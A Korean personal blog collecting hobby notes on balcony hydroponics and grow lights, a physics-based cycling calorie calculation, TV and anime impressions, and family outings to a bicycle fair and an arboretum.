평속 20kmh에서 22kmh로 오른 후 평속이 거의 늘지 않았다. 자전거를 탈 시간이 별로 없다. 기초대사량만 조금씩 늘어 나날이 밥만 축냈다.

자전거의 센터페시아? 저기에 별게 다 있다. 휴대폰의 GPS를 이용하는 여러 프로그램들이 있지만 어느 것 하나 제대로 된 것이 없다. 그 때문에 자전거를 타게 되면 그나마 믿을만한 GPSr이 꼭 필요했고, GPSr에서 사용할 지도를 만들려고 약 1년 동안 삽질한 적이 있었다. 그때는 당당하게, '제 취미는 지도 제작이에요' 라고 말했다. 지금은 지도 제작할 시간이 없다. 지도 제작은 굉장한 노가다다.

수경 재배(Hydroponics) : 아이 교육이 목적이었다. 식물을 재배해서 뜯어 먹는 아름다운 모습을 보여주려고 시작했다. 양액 주고 대충 길렀더니 감당할 수 없는 엄청난 수확이 나오더라...를 상상하고 시작했는데 그렇지가 않아 공부했다. 내 팔자에는 뭐든 자동으로, 대충 해서, 되는게 없다. 그렇다고 (늘 즐겁게 할 수 있는) 공부 따위를 해서 잘 되느냐 하면, 남들 하는 평균 수준에 간신히 도달하는 정도? 그리고 생활에 도움이 안 되는 불필요한 잉여 지식만 잔뜩 늘어났다.

수경재배를 취미라 할 수 없다. 맨날 듣는 음악을 취미라 할 수 없듯이, 그것들은 생활에 가까웠다. 설령 1년 52주 중 아이를 데리고 40 주 이상을 여행해도 그걸 취미라 하지 않는 것처럼 내가 하는 모든 것들은 생활에 가까웠다. 단순하고, 주기적으로 반복 되며, 내 직업처럼 언제나 뭔가를 배워야 하고 여늬 무형 자산처럼 머리와 손 끝이, 시간과 노력이 다 필요했다. 

다른 일처럼 또 잊어버리기 전에 수경재배 얘기나 적어둬야겠다. 

옥션에서 구입한 만능 수경재배기의 구조.  


온도

작물 재배에 적합한 기온은 15~26C 사이. 

 2010년 수원 월별 기온.

겨울에 간혹 실내/와 온도와 습도를 측정하기 위해 온습도 측정기를 집에 설치해 두었다.  작년 겨울 집안의 실내 평균기온은 16~18도 정도였다. 아이가 자란 다음에는 아이 때문에 실내 온도를 높여야 한다는 명분이 사라졌다. 그래서 아내의 의지로 집안이 시베리아 스러워졌다.

겨울에도 신선한 야채를 먹기위해 작물 재배를 하고, 이를 위해 실내 온도를 조금 더 올리는게 바람직해 보인다. 식물은 흐뭇하게 자라고, 난 좀 따뜻하게 자고, 아이는 감기에 덜 걸리고; 앵그리 버드 한 마리로 돼지 세 마리를 때려 잡는 꼴이다.

수경 재배시 양액의 온도는 22도 정도가 적당하다는데, 이게 좀 이해가 안 갔다. 여러 가지 사정으로 식물이 자라는 땅의 연 평균 대지 온도는 20도를 넘지 않는데 식물은 그래도 행복하게 잘 자란다. 왜 양액 재배할 때는 땅보다 높은 온도여야 할까? 좀 더 뒤져봐야겠지?

대부분의 씨앗은 25C 부근에서 잘 발아한다. 귀찮아서 모종으로 시작했지만 굳이 모종으로 할 이유도 없고, 다음엔 발아부터 제대로 해 볼 생각.

일반적인 발아 조건: 온도 25C 가량, pH는 6.0, 양액의 EC는 1.8~2.0 dS/m 사이, 상대 습도는 70~80%. 양액에 적신 스펀지에 씨앗을 꽂아두고(심고) 놔둔다. 별 일 없으면 발아한다. 발아된 모종을 조금 더 키우다가 스펀지 채로 수경재배 포트에 옮겨놓고 재배하면 된다. 발아가 1~2주 걸리는데 그걸 못 참고 옥션에서 주문했더니 모종이 1주일이 넘어서야 도착했다. 그럴 바엔 그냥 동네 꽃집에서 파는 모종을 사올껄 그랬다.

재배 작물의 적정 양액 농도(EC 또는 TDS 값)는 대개 양액의 기온이 25C일 때를 기준으로 한다. 만약 온도가 그보다 낮다면 농도를 높이고, 온도가 높으면 농도를 낮추는게 맞다. 스티로폼 안에 양액은 일평균기온과 거의 같다.

양액의 농도와 온도 사이 관계에 관한 정보가 부족하다. 따라서 수치 보정을 할 수는 없지만,양액 농도 보정은 대충 이렇게 하면 될 것 같다. 4월: 생육기 EC 보다 1.5배 이상의 농도의 양액을 사용. 날이 지나면서 온도가 상승하고 부족한 물을 보충할 때마다 양액의 농도가 차츰 낮아진다(대충 생육기 양액 농도와 같아진다) 잎채류는 계속 그 상태로 유지하면 되고, 7,8월 과실이 열릴 무렵에는 대기 온도가 올라간 여름이므로 양액 농도를 짙게 한다. 수확기에 이를 동안 기온이 같이 낮아지므로 양액에 물을 타서 희석하면 될 것 같다.

5월 1일 심고, 5월 14일 무렵 첫 수확한 쌈채류. 만족스러운 양이 아니고 적은 일조량 탓에 비실비실하지만 먹을만 했다.

일조량

수원의 지난 10년간 일조량

생각보다 일조 시간이 많지 않다. 일조시간과 별도로 일출/일몰의 태양 방위각 정보를 구했다 -- 기상청 어딘가 제대로 된 자료가 있을 것 같은데 못 찾았다.

계산은 생략하고 집의 위치와 일출/일몰 각도, 방위각을 고려해 자 대고 그려보니 어림짐작으로 일조시간의 약 70% 정도가 유효하다. 유감스럽게도  한여름에도 오후 1시가 넘으면 직사광선이 작물에 닿지 않는다 -- 관측과 일치. 따라서 방위각을 고려하면 일출 후라도 오전 8~9시가 넘어야 제대로 빛 다운 빛이 잎에 닿는다. 하루에 기껏해야 4~5시간 가량의 햇빛을 쬐는 셈. 

일조량 면에서 베란다에서 키운 작물은 뻥 뚫린 대지에서 태양빛을 온전히 받고 자란 것들과 차이가 크다. 베란다에서 키운 채소는 밭에서 키운 것과 달리 대부분 비실비실하다. 대부분의 식물은 빛이 없으면 비실거리지만, 시금치는 빛 없어도 잘 자란다고 한다.

직사광이 아니라도 광합성이 일어나지 않는 것은 아니지만 효율이 매우 낮다. 이산화티타늄 따위 광촉매를 사용하면 자외선으로 광합성의 명반응과 동일한 효과를 일으킬 수 있다.

기상청에 따르면 올해 6월과 7월은 강수량이 많단다. 가을에는 무덥고 비가 많이 온단다. 평년보다 일조량이 줄어들 것 같다.

부족한 일조량을 채워주기 위해 이런 저런 grow light를 사용하기도 한다. 일반적인 백색 형광등, 전구 류는 파장이 안 맞아 상당량의 에너지를 낭비하여 정작 식물 재배에는 크게 도움이 안 되는 것 같다(대규모 플랜트에서는 PG 램프라고 하여 파장을 맞춘 형광등을 사용). 과거에 Metal Halide 램프와 High Pressure Sodiym Lamp를 사용했나 보다. 와트당 광량이 많긴 한데, 소비 전력이 크고 열손실도 크다. 대규모 플랜트를 재배하는 것이 아니라면, 효율이 좋은 LED grow lamp가 적합해 보인다.

위키피디아의 grow light 항목에서 이들 램프에 관해 잘 설명했다. 식물 성장에 필요한 광원의 파장은 대략 수확기에 630nm(적색에 가까움), 생육기에 467nm(푸르스름한 흰색) 전후다. 푸른색 파장과 붉은 색 파장의 비율에 대해서는 이래저래 말들이 많다. 위키피디아 항목에서는 이상적인 비율이 적색 대비 푸른색 6~8% 정도 란다. 정말? 뭘 근거로?

시중에서 구할 수 있는 LED grow lamp는 값 비싸고 품질이 의심스러웠다. 900 LED grow light -- 한 눈에 봐도 무척 거지 같아 보이는 이런 광원이 무려 100$ 씩이나 한다. 차라리 만드는게 낫겠다. 12V 출력이 있는 micro ATX 타잎의 값싼 컴퓨터 power supply와 LED, 방열판, 지지대 정도면 만들 수 있을 것 같다. 

슈퍼플럭스 또는 하이플럭스 타잎 LED의 광량이 별로 좋지 않아서 (~4 lm 가량) 자전거 전조등으로 많이 쓰이는 파워 LED 쪽을 알아봤다. Photron의 1W 짜리 LED datasheet를 보니 45 lm, 3W 짜리가 70 lm 정도였다.  가격과 광량이 하이플럭스 LED 10개와 비슷하지만 배선을 감안하면 파워 LED가 낫다. 뭐가 되었든 LED 가격은 여전히 비싸다.

구상: 파워 서플라이의 12V 파워 레인에 red LED 6개를 직렬로 연결(LED 당 2.0V씩 * 6 = 12V), 다른 12V 레인에 blue LED 3개를 직렬로 연결(LED당 4.0V씩 * 3 = 12V). 파워 서플라이는 시중에 판매하는 값싼 타이머 스위치 리셉터클에 연결해 지정한 시각에 자동으로 켜졌다가 꺼지게 셋업. 

하여튼 값싸게 만들 방안을 궁리:

Power Supply (PC micro ATX) 남는 PC 파워나 12V 2A 이상 어댑터 아무거나 = \0
LED용 정전류 드라이버 IC : AMC7140 = \2,000
LED 방열판 2m x 10mm x 1ea = \6000 + \2500 (배송료)
타이머 스위치 1ea = \5166 + \2500 (배송료)
고조도 반사판이 달린 형광등 갓등 1ea = \17,500 + \6000 (배송료)

합계: 69,300원. 많이 비싸다. 이러지 말고 그냥 비실비실 자라게 내버려둘까? 

타이머 스위치 1ea = \7,500 + \2,500
15W 식물성장용 PG 램프 + 3M 집게 스탠드 = \13,500 + \2,500

합계: 26,000원. LED를 포기하니 대폭적인 구매가 하락. 언제나 그렇지만 만들려고 하기 전에 제품을 찾아보면 왠만한 건 다 있다. 사는 김에 타이머를 하나 더 주문했다. 액상 모기향의 타임 스위치로 사용 예정.

직사광이 닿지 않는 오후 1시부터 오후 6시까지 5시간 켠다고 가정했을 때, 소비 전력은 15w * 30일 * 5시간 = 2.25kWh. 1.7kW짜리 헤어 드라이어를 하루에 5분 사용했을 때 1.7*5/60*30 = 4.25kWh. 헤어 드라이어 사용을 멈추고 식물을 키우는 것이 바람직해 보인다. 모발은 물론 환경에 전혀 도움이 안된다. 난 헤어 드라이어를 사용하지 않는다.

대낮에 생장 촉진을 위해 등을 켠다는게 우습긴 하다. 하지만 밤에 등을 켜는 것은 바람직하지 않다.

광공해: 도시 대부분에서 생기는 야밤의 광공해는 식물 생장에 지장을 줄 수 있다. 광합성에는 휴지기가 필요.  도달하는 광량이 적어 내 경우에는 해당사항이 없을 듯 하다. 게다가 여덟시 반이 넘으면 집안의 불을 모조리 꺼 버리고 스탠드 불빛만 남으니까.

깻잎은 밤이 되면 잎을 접었다. 마치 자는 것처럼.

5/1일, 5/14일. 생육 정도 비교. 수경재배중인 잎채류는 뿌리가 약한 탓인지, 아니면 다섯개를 한 양액조에 키워서인지 안타까울 정도로 성장이 더디다. 잎채류는 수분의 증발이 빨라 몇 차례 부족한 물을 보충했으나 파프리카와 방울 토마토는 양액의 농도를 낮추기 위해 물을 부은 것 뿐, 물 보충을 하지 않았다.

요점:
NEARLY ZERO MAINTENANCE.

이산화탄소


이산화탄소가 공기보다 무거워 바닥에 깔리는 성질이 있어 고층 아파트에는 이산화탄소가 부족하므로 식물 생장에 지장을 준다는 믿기 어려운 얘기가 있다.

양액(Nutrient Solution)
 
뭐니뭐니 해도 수경재배의 핵심은 양액. 수경재배의 역사: 600 BC 경 바빌론의 공중정원이 최초. 그후로 톨텍, 마야, 구대륙, 기타 등등 개나 소나 수경재배를 다 해 봤다고들 한다. 그러나 양액을 이용한 재배는 근대 유럽에서 실험된 것. 역사는 별로 안 궁금하다. 

대단히 많은 양의 작물을 상업적으로 수경재배하는데, 그 대표격이 토마토다. 수경재배는 대부분의 작물에서 가능하다. 당근도 될까? 당근 된다. SF에서는 우주선이던 거주모듈이건 늘 수경재배가 기본이라... 어렸을 때부터 참, 지긋지긋하게 봐왔다. 수경재배는 크게 두 가지 방식이다. 양액을 흘리는 방식, 고정된 양액조에 키우는 방식. 양액을 흘리는 것은 상업 플랜트에서 생육기에 따라 양액의 성분에 쉽게 변화를 줄 수 있어 선호된다. 

양액은, 양액의 성분은, 주로 질소, 인, 칼륨, 칼슘, 황, 철분, 마그네슘, 아연, 몰리브덴, 구리 등으로 이루어진다. 대부분의 식물에서 질소, 칼륨(가리), 인은 필수이고 따라서 양액 구성 성분 중 가장 큰 비중을 차지. 당연한 얘긴가? 양액의 pH 수준은 6.0~7.5 사이를 유지하는게 바람직하다. 이것도 당연한 얘기. 대부분의 작물에 적합한 pH 수준은 6.0이고 콩과 양배추는 6.4 정도.

뿌리에 필요량의 산소를 공급하고 뿌리와 줄기를 지지하기 위해 펄라이트 등의 다공질의 암석 부스러기를 흙 대신 사용하던가, 거치대에 고정하고 뿌리의 일부분을 공기 중에 노출시키거나, 양액에는 산소를 녹이기 위해 어항에서 사용하는 종류의 산소 발생기를 사용한다.

 

5월 1일, 5월 14일. 생육 정도 비교. 수확하고 난 다음이라 정확한 비교는 안될 듯. 아내가 파를 심었다. 오래 먹기 위해서란다. 


양액은 식물 생장에 필요한 영양소들이 녹아 있으며 햇빛 등의 광원에 노출되면 조류가 발생할 수 있다. 조류는 물을 알칼리화 한다. 따라서 양액을 광원으로부터 차단하던가, 양액을 순환시키던가 물의 pH값을 지속적으로 모니터링 할 필요가 있다. pH가 높으면(알칼리화) 식초를 넣어 낮추고 pH가 낮으면(산성화) 베이킹 소다를 넣어 pH를 높인다... 는 좀 뻔한 얘기. 아예 재배용으로 사용할 수 있는 희석액이 시판되고 있다.

흙에는 여러 종류의 무기염류가 녹아 있고 작물을 계속 재배하다 보면 염분이 생성될 수 있다. 양액에 소금을 넣는 경우는 없지만 어쩌다가 염분이 생성되면 EC 값이 높아지고 이 때는 양액을 전체 교환하는 수 밖에 방법이 없다 -- 그런 경우가 있긴 할까?

양액은 작물마다 이상적인 배합이 다르다. 예를 들면 토마토는 '생육기'에 질소를 더 많이 필요로 하고 과실이 열린 다음 수확기까지 칼륨을 많이 소비한다. 당연한 얘기다. 토마토에는 칼륨이 무척 많으니까 -_-;

양액의 농도를 측정하기 위해 전기 전도도(Electric Conductivity. 단위는 dS/m, mS/cm 등등)를 측정한다. 전기 전도도는 TDS(Totla dissolved solids, 단위는 mg/l 또는 ppm)와 연관이 있다. 전기 전도도가 높다는 것은 양액에 녹아 있는 각종 요소 성분량이 많다는 뜻이 된다.

양액의 농도를 낮추니까 방울 토마토의 줄기가 왕성하게 뻗어나가기 시작했다.

 
양액 뿐만 아니라 물의 전기 전도도는 물의 오염도를 측정하는 데에도 사용된다. 보통 수돗물의 경우 TDS가 100 ppm 미만, 약수는 200~300 ppm 가량, 전에 공부하다가 말았지만  400 ppm 이상이면 음용수가 아니던가? 아마 그럴 것이다. 그래서 TDS 또는 EC 측정기를 들고 야산에 가서 먹을만한 물인지 알아볼 수도 있다.

EC 측정이 양액의 품질을 보증하는가? 그렇진 않다. EC는 말 그대로 전기 전도도일 뿐이다. EC는 양액의 양분 구성에 관해 알만한 정보가 없다. 제대로 측정하고 싶으면 양액 자체를 분석하던가 식물 생장과의 상관 관계를 알고 싶으면 잎을 말려 성분 분석을 해 보는 수 밖에 없다.

수경재배를 제대로 하려면 다음 항목을 모니터링 한다: EC, PH, 양액의 온도, 한낮의 실내 온도, 한밤의 실내 온도, 식물의 성장 정도.

EC를 TDS로 변환하는 것은 책이던, 사이트던 중구난방이라 왠만하면 EC로 통일하는 것이 나을 것 같다. 아래 표는 보편적인 양액의 EC 값.

   과일 잎채류 
초기  1.6~1.8 1.4~1.6 
평균  2.5  1.8 
과실  2.4~2.6   
저조도(겨울) 2.8~3.0  2.0 
고조도(여름) 2.2~2.4  1.6 
 * 양액의 온도가 25C일 때를 기준.

성분 결핍 또는 과잉에 따른 작물의 변화: 

  

실내에서 키울 때 진동기나 토마토톤으로 수정을 촉진해야 과실이 맺힌다고 했는데, 놀랍게도 토마토톤을 안 바르고도 방울 토마토가 맺혔다. 아무래도 베란다의 창문을 죽 열어 놨더니 바람이 진동기의 역할을 한 것 같다(추측). 첫마디에서 자란 과실은 가능한 키우는게 좋단다. 그래야 다음 마디에서 열리는 방울토마토가 튼실하다나? 

양액의 농도를 낮춘 후로 방울 토마토에 꽃이 피지 않았다. 양액의 적정 EC는 식물 생장 및 수확에 매우 중요한 요소라는 것을 새삼 실감했다.

노력이 가상하긴 하나, 작물 재배를 제대로 하려면 많은 노력을 기울여야 할 것 같다. 그간 공부한 걸 잊지 않기 위해 끄적여 두었다. 아마 한 달도 안 되어 잊어버릴 테지만 시간이 생기면 이 엔트리를 틈틈이 업데이트 해야겠다.

클릭=확대 회사 야유회 갔다가 돌아오는 길에 본 광경. 옛 경춘선 철로 위를 기어가는 칡넝쿨. 햇빛을 듬뿍 받은 칡 넝쿨은 물을 찾아 줄기를 이리저리 뻗으며 기어갔다. 

  

The Office S07E25. 마지막 회에 피둥피둥 살찐 제임스 스페이더가 나왔다. 떠난 지점장의 성스러움을 뒷받침 해주기 위해 작당하고 찌질해진 이 작자들은 유감스럽게도 별로 웃기지 않았다.

소녀혁명 우테나 극장판. 마지막 장면. TV판을 보다 만 것이 아마도... 

그래, 백합물이라서. 하지만 이번엔 끝까지 봤다. 그림이 좋으면 닭살 돋는 것도 어지간히 참고 볼 수 있는 듯. 전혀 주저하지 않고 번지점프를 하고, 심지어 조선일보 정치면을 일 년 넘게 읽어봤는데, 으쓱, 못할게 뭐가 있겠나. 어디까지 가 봤니? http://rotten.com 

Tiger & Bunny. 수퍼히어로물. 월급 받고 PPL 광고를 한다. 세상을 구하는 과정이 생중계 되며 사람들이 구경하면서 수퍼히어로 랭킹을 업데이트 한다. 최근 트렌드는 다 갖췄다. 첫 화를 피식피식 웃으며 봤다. 
 
 
Castle S03E24. 시즌 파이널. 이런 직업을 가진 여자는 보통 테스토스테론이 돋아 종종 뚜렷한 목적 의식을 가진(또는, 자폐증적인) 눈빛이 번쩍인다. 이 배우에게는 극 내내 그게 없었다. 뛰는 것, 액션이나 눈빛, 말투 따위가 평범한 계집애와 다른 점이 하나도 없다는 것이 강력계 형사를 맡은 이 배우에게 느낀 혐오감의 정체다. 코스프레 하는 바비인형 같달까. 시즌 초반부터 저런 멍한 눈초리를 자주 봐서 더더욱 그랬다. 제발 교체 좀 했으면 했는데...

Good Wife S02E23. 굿와이프가 시즌 피날레를 맞았다. 언제 봐도 극의 상황에 어울리는 표정. 23화 마지막 부분은 서비스인 듯 한데, 그런 거 안 해 줘도 괜찮다. 그 동안 재밌게 봤다. 할 얘기는 다 끝났지 싶지만, 다음 시즌이 나오면 멋진 등장인물들 때문에 계속 보게 될 것 같다.

Mentalist S03E23. 1,2기에서 페트릭 제인은 줄기차게 레드 존에게 엿 먹었다. 이번 시즌 피날레에서 무릎을 탁 치게 되는 반전을 구경. 그랬구나, 그래서 여태까지 제인이 그랬던 거였구나... 
  

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상오기님 사이트에서 BikeTrack이란 프로그램 소개를 보니 칼로리를 출력하는 부분이 있다. 아마도 자전거 주행의 칼로리 소비량을 계산하는 간단한 방식을 이용하는 것으로 추측된다. 간단히 말해, 두 가지 중요한 팩터가 빠져 계산이 맞을 리가 없다. 

자전거 주행은 페달을 밟아 동력계를 움직여 지면 마찰을 이용해 앞으로 나아가는데 1. 경사로를 달릴 때 중력의 영향을 받고, 2. 유체(공기) 속을 진행하므로 공기 저항을 받는다. 3. 타이어가 노면에서 마찰을 일으켜 진행하므로 마찰력의 영향을 받기도 한다. 그 결과로 뱃살이  쭉쭉 빠져야 하는데, 달리는 만큼 더 먹게 되어(아울러 기초대사량이 늘어) 살이 안 빠지는 아저씨들이 많다.  

경사로가 업힐일 때는 몸무게에 비례해 뒤로 끌어당기는 힘이 크게 작용하지만 다운힐에서는 동력이 소비되지 않을 수 있다. 공기 저항은 면적에 비례하고 속도의 제곱에 비례한다. 뿐만 아니라 바람에 맞서면 당연히 더 힘들고 바람을 등지면 항력이 감소한다(마이너스가 되기도 한다. 샤방샤방 주행). 속도와 무게는 아주 중요한 팩터다. 몸무게가 줄면 덜 힘들다. 자전거가 가벼우면 덜 힘들다. 마찰계수가 작으면 덜 힘들다. 힘 좋은 아저씨들이 용을 쓰며 조금 앞서서 아줌마들과 200km를 함께 달려도, 아줌마들이 덜 피곤한 이유가 그 때문이다.

중력, 공기저항, 마찰력에 더해 자전거의 동력계 손실(좋은 자전거와 덜 좋은 자전거의 차이)과 근육의 ATP 소비에 따른 동력 손실을 감안하면 칼로리 계산이 그렇게 간단히 끝날 리가 없다. 

바이크트랙이나 엔도몬도 등의 프로그램이 출력하는 칼로리 소비량은 믿을 수 없지만, 자전거 타기가 걷기뛰기보다 칼로리 소비가 더 크고 더 많은 운동량을 필요로 한다는 점은 변하지 않는다 -- 선수가 아닌 한 아무리 빨리 뛰어봤자 자전거보다는 느리기 때문에 공기저항에 따른 항력이 속도 제곱에 비례해 더 작기 때문. 

공기 저항은 공기 밀도에 의해 결정되고 공기 밀도는 대기압에 따라 달라진다. 따라서 고도가 높으면 공기 저항은 감소한다. 그리고 맞바람은 주행속도를 깎아먹는다. 맞바람을 맞으면서 해수면에서 1500m 정상까지 업힐을 꾸역꾸역 오르다보면 존재론적 회의가 샘솟는 이유가 그래서다.

어느 정도 쓸모있는 칼로리 계산을 해보려고 심심풀이 삼아 웹을 뒤져 정리:
  • 공기저항: Fw = 1/2 x A x Cw x D x V^2
    A: Frontal Area (진행 방향으로 공기가 닿는 면적) 0.4~0.7
    D: 공기 밀도(Rho) 
    Cw: Drag Coefficient. 보통 0.5 (Cycle 0.36, 하이브리드 0.45, MTB 0.7, 투어 바이크 0.8)
    V: 속력 (시간당 이동거리)

  • 마찰: Fr = G * W * Cr
    G: 중력 상수. 9.81
    W: 자전거와 라이더의 무게를 합한 것
    Cr: 구름저항상수 (타이어와 도로 상태로 정해짐) 나무길 0.001, 콘크리트: 0.002, 아스팔트: 0.004, 울퉁불퉁한 포장길: 0.008. 
     
  • 중력: Fg = G * W * S 
    G: 중력 상수. 9.81
    W: 자전거와 라이더의 무게를 합한 것
    S: slope. 높이/이동거리.
     
  • F = Fw + Fr + Fg (watt)
  • 초당 칼로리 소비량 = F * 859 / 3600 / 1000 (Kcal/sec)
공기 밀도 얻기: 참조(http://wahiduddin.net/calc/density_altitude.htm)
  • D = P / (R * T)
    D: 공기밀도 kg/m3
    P: 압력(대기압) pascal (millibar * 100)
    R: 가스 상수 J/(kg*K). 287.05
    T: 온도. 섭씨+273.15
  • 예:섭씨 18도, 1020 hPa 일 때 공기밀도= 102000 / (287.05 * (18 + 273.15)) = 1.220
  • 고도에 따른 기압 변화: p = 1013.25 * (1 - h / 44330.76)^5.255879746 (사이트 참조)
자전거 주행 속도는 바람 방향의 영향을 받는다. 주의: 힘의 크기를 구할 때, 맞바람일 때는 속도에서 더해져야 하고, 등질 때는 속도에서 빼야 한다. 전세계의 weather station으로부터 수집한 풍향 및 풍속 정보를 얻을 수 있는 곳을 찾아 보았다. 무료로 제공하는 사이트가 있다. 

일자별 기온,기압,풍향,풍속 정보 얻기 #2 (airport) (CSV 포맷)

이들 정보를 바탕으로 그나마(상대적으로) 정확한 칼로리 계산 프로그래밍 하기:
  • 입력 상수: 한 번 입력되면 그다지 변경될 일이 없는 정보
    자전거 종류 -> Cw
    자전거 무게 -> W
    사용자 몸무게 -> W
    전면 면적 -> A
  • 입력: GPX 등의 표준 포맷으로 입력받아 일괄 계산하거나, 실시간 계산할 때는 GPS 디바이스의 NMEA 출력 중 현재 측점과 이전 측점(n-1, n)이 필요.
  • Data Repositary: 풍향,풍속 정보를 얻기 위한 스테이션 위치 정보는 웹 사이트를 통해 매 번 query할 필요 없이 리포지터리 형태로 가지고 있으면 된다. 웨더 스테이션이 이리 저리 돌아다니는 것이 아니라서, 한 번 설치하면 위치가 변경될 일이 극히 드무니까. 
    또한, GPS는 3D fix가 제대로 되지 않는 경우가 많고(위치 오차가 현저하고), 스마트폰에는 기압고도계 등의 정밀 고도계가 달려 있을리 만무하므로 현 경위도로부터 정확한 고도 정보를 알아내기 위한 DEM 파일이 필요. 한반도, 10mx10m 짜리 .bt 포맷 파일의 경우 약 870MB가 필요한데(작년에 필요해서 만들어봤다), 이런 걸 스마트폰에 넣고 다닐 사람들이 있을까? 웹으로 query 하려면 일정 시간 마다 측점 리스트를 보내 해당 경위도의 고도를 얻어와서 부하를 줄이던가 하는 방법을 사용. 풍향/풍속과 고도를 통해 알 수 있는 두 측점간 도로의 기울기는 속도와 중력의 영향이라는 자전거 라이딩을 무척 힘들게 하는 두 팩터를 알아내기 위해 반드시 필요한 정보.
칼로리 계산: 다음을 반복.
  • n-1번째 GPS 측점을 얻음 -> P
  • n번째 GPS 측점을 얻음 -> Pn 
  • P, Pn의 고도를 DEM으로 결정 
  • P, Pn으로 S (slope) 계산. S가 0보다 작으면 칼로리 계산에서 제외(?)
  • P 지점에서 가장 가까운 weather staion 2개로부터 시간을 감안해 풍향 벡터를 보간해서 구하고 풍속 역시 얻어온다.
  • P, Pn으로 벡터 구성하고 풍향 벡터와 풍속을 감안해 속력 계산 -> V
  • P의 고도 및 온도, weather station의 기압 등의 정보로 공기밀도 계산 -> D
  • 칼로리 계산 -> F
안드로이드용 프로그램을 짜볼까 하다가, 일단, 돈이 안 되고, 하는 일이 바빠서 미뤘다. 게다가 누가 그나마(?) 정확한 칼로리 계산에 관심이 있을까, 의구심이 들었다.

칼로리 계산 보다는 실시간 고도 측정이나, 풍향/풍속 등 라이딩의 질(?)을 좌우 하는 요소들에 더 관심이 있을 것 같다. 이를테면 어떤 경로의 업힐, 다운힐 구간을 미리 알아내거나, 트랙 정보를 바탕으로 업/다운 고도 합계를 구하고 풍향/풍속 정보를 바탕으로 라이딩의 난이도를 자동으로 결정해 보여주는, 무척 실용적인 용도로 말이다. 

그냥, 무의미한 수치를 출력하는 여러 프로그램에 심술이 나서 부리는 오덕질이다. 

랜스 암스트롱을 대상으로 수행한 연구 활동으로부터 Edword F. Coyle은 몇 가지 주목할만한 발견을 했다.  코일 박사의 얘기 중 요점을 정리하면:
  • 장기간 주행에서 탄수화물의 섭취는 근피로를 지연시킨다. --> 라이딩 중 가끔 에너지바를 섭취하면 덜 피곤하다.
  • 주행중 탈수는 심혈관 장애를 일으키며, 피부 혈류 흐름을 감소시킴으로써 심각한 고열을 유발한다. --> 한여름에 바보같이 이 지경이 되도록 주행하고 뻗고는 했다. 낙타도 아닌데 꼭 물을 마시자.
  • 소위, 피빨기는 라이딩의 고통을 무려 1/3이나 줄여준다. --> 코일 박사의 발견은 아니지만 중요해서 적었다. 비슷한 속도로 달리는 자전거 뒤에 붙어 피빨기를 하면 아주 편하다는 상식이다.
참고 사이트


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트위터라... 온라인 여기저기서 개떼처럼 몰려 다니며 엇비슷한 껀수에 지겹고 매력없는 문구가 리트윗 되는 꼴이 영 못마땅해서 이걸 '매체'나 소셜 마케팅 수단으로 활용할 용기(?)있는 사람들이 있을 지 의문이었다. 어쨌거나 십년 전에도 인간 사이의 피어 네트워킹이 트위터나 페이스북처럼 관계의 일상소사에, 들불처럼 지인 네트웍을 통해 번지는 기사에, 지금처럼 가십 위주의 형태가 될 꺼란 건 꽤 많은 사람들이 정확히 예언한 셈이다. 묘하게도 8년 전 쯤에는 위키나 블로그와 트랙백이 그 역할을 할 꺼라 생각했는데(내 생각이 아니고...), 구성, 관리, 서비스가 어려우니 자연 도태된 것 같다. 트위터와 페이스북은 메시업과 스마트폰 보급 덕택에 볼륨이 커진 듯.

트위터가 살아남을까? 아니... 지금은 SNS라 불리는 것들이 대세지만 피어 네트워킹은 그보다 더 나아질 것 같은데? 아직 SF가 현실이 되질 않아서...

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예술의 전당. 서울 신포니에타. 모차르트 바이올린 협주곡 5번, 엘가의 현을 위한 세레나데 e 마이너. 다행히 아는 곡들이다. 바이올린 협주곡 5번을 협연한 어린 소녀의 솜씨가 좋았다. 젊은 사람들이 연주회를 많이 찾는 것이 놀랍다. 옆 콘서트 홀에서는 금난새가 차이코프스키를 지휘하고 있었다. 집으로 돌아가는 길에는 휴대폰으로 차이코프스키를 들었다. 그 편이 좋았다.

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케찰코아툴루스가 프테라노돈을 사냥하고 있다. 알로 사우루스, 하나는 이름을 모르겠고, 파라사우롤로프스, 이구아노돈, 티라노사우르스 렉스 등 이 그림에서 주목할 부분은, 종 다양성이다. 적절한 특징을 빼놓지 않고 묘사해서 아이가 그린 이 그림이 마음에 들었다.

자전거 박람회에 가서 3천만원짜리, 많이 구려 보이는 자전거 따위를 구경했는데, 고생스럽게 KINTEX에 가서 박람회를 보고 별 소득이나 보람을 느끼지 못했다.

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아빠의 역할; 자전거 박람회장 야외에서 한시간 좀 넘게 줄 서서 기다려 간신히 딸 애의 캐리커쳐 한 장 그렸다. 캐리커쳐를 그리는 작자는 내키는 대로 몇 가지 소품을 그림 마다 첨가했는데(꽃이나 잎사귀 따위), 저 하트는 아이와 내가 꽤 다정한 꼴을 보고, 풍선 두 개는 우리 부녀가 한 동안 시선을 떼지 못했던 하늘 높이 올라가는 헬륨 풍선을 잊지 않은 것 같다.

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눈썹과 턱을 제외하고는 제 엄마를 거의 빼다 박다시피 닮았다. 아빠 및 엄마와 마찬가지로 외모로 가외 편익을 얻을 팔자는 아닌 것 같다. :) 아이에게 '공주님' 같은 뭔가 애지중지하는 호칭을 붙인 적도 없고 뽀뽀 해 달라고 말한 적도 없다(한두 번은 해 봤다). 워낙 정나미 떨어지는 인간성 탓이지 싶지만 애비가 자기 좋아하는 줄 잘 알고 있으면 되었다.

자전거 박람회에서 뭐 하나 건지지 못해 실망하고, 다음 날은 혹시 단풍이 내려왔을까 싶어 도시락 싸 들고 물향기 수목원에 놀러갔다.

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물향기 수목원의 늪지. 이젠 이런 늪지가 흔해져 늪지가 똥물은 아니라는 정서가 보편적으로 형성되었을 것 같다. 푹푹 잠기고 물컹거리며 발을 잡아 끌어 당기는 늪지에서 고꾸라지거나 자빠지길 서너 차례 반복하다 보면 갖은 욕설과 함께 늪지가 똥물과 다름없다는 것을 재삼 깨닫게 되지 싶다. 정부 만큼이나 환경주의자들은 인민을 마인드 컨트롤 하여 자연을 자연이 아닌 환상으로 만드는 일에 열중하는 것 같다. 도시 및 도시 근교의 '자연 및 생태계'는 지극히 인위적이고 작위적인 것이란 점만 잊지 않으면 되겠지.

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물향기 수목원. 타조와의 거리가... 바로 눈 앞이다. 내가 본 대부분의 타조는 미쳤던가 사람을 두려워하지 않았다. 포식자는 아니지만 사냥당하지 않는다는 자부심인지 아니면 멍청한건지? 멍청해서 사람을 두려워하지 않는 것 같다.


